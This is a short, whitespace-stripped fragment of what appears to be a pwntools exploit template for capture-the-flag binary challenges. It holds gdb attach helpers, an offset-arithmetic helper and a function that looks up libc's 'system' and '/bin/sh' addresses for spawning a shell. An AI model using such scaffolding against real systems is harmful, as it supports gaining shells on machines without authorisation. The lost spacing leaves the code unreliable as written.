='':gdb.attach(io,a)pause()else:gdb.attach(io)pause()defcal(x,y):return((x-y)+0x10000)%0x10000defget_sb():returnbase+libc.sym['system'],base+next(libc.search(b'/bin/sh\x00'))#---s=lambdadata:io.send(data)sl=lambdadata:io.sendline(data)sa=lambdatext,data:io.sendafter(text...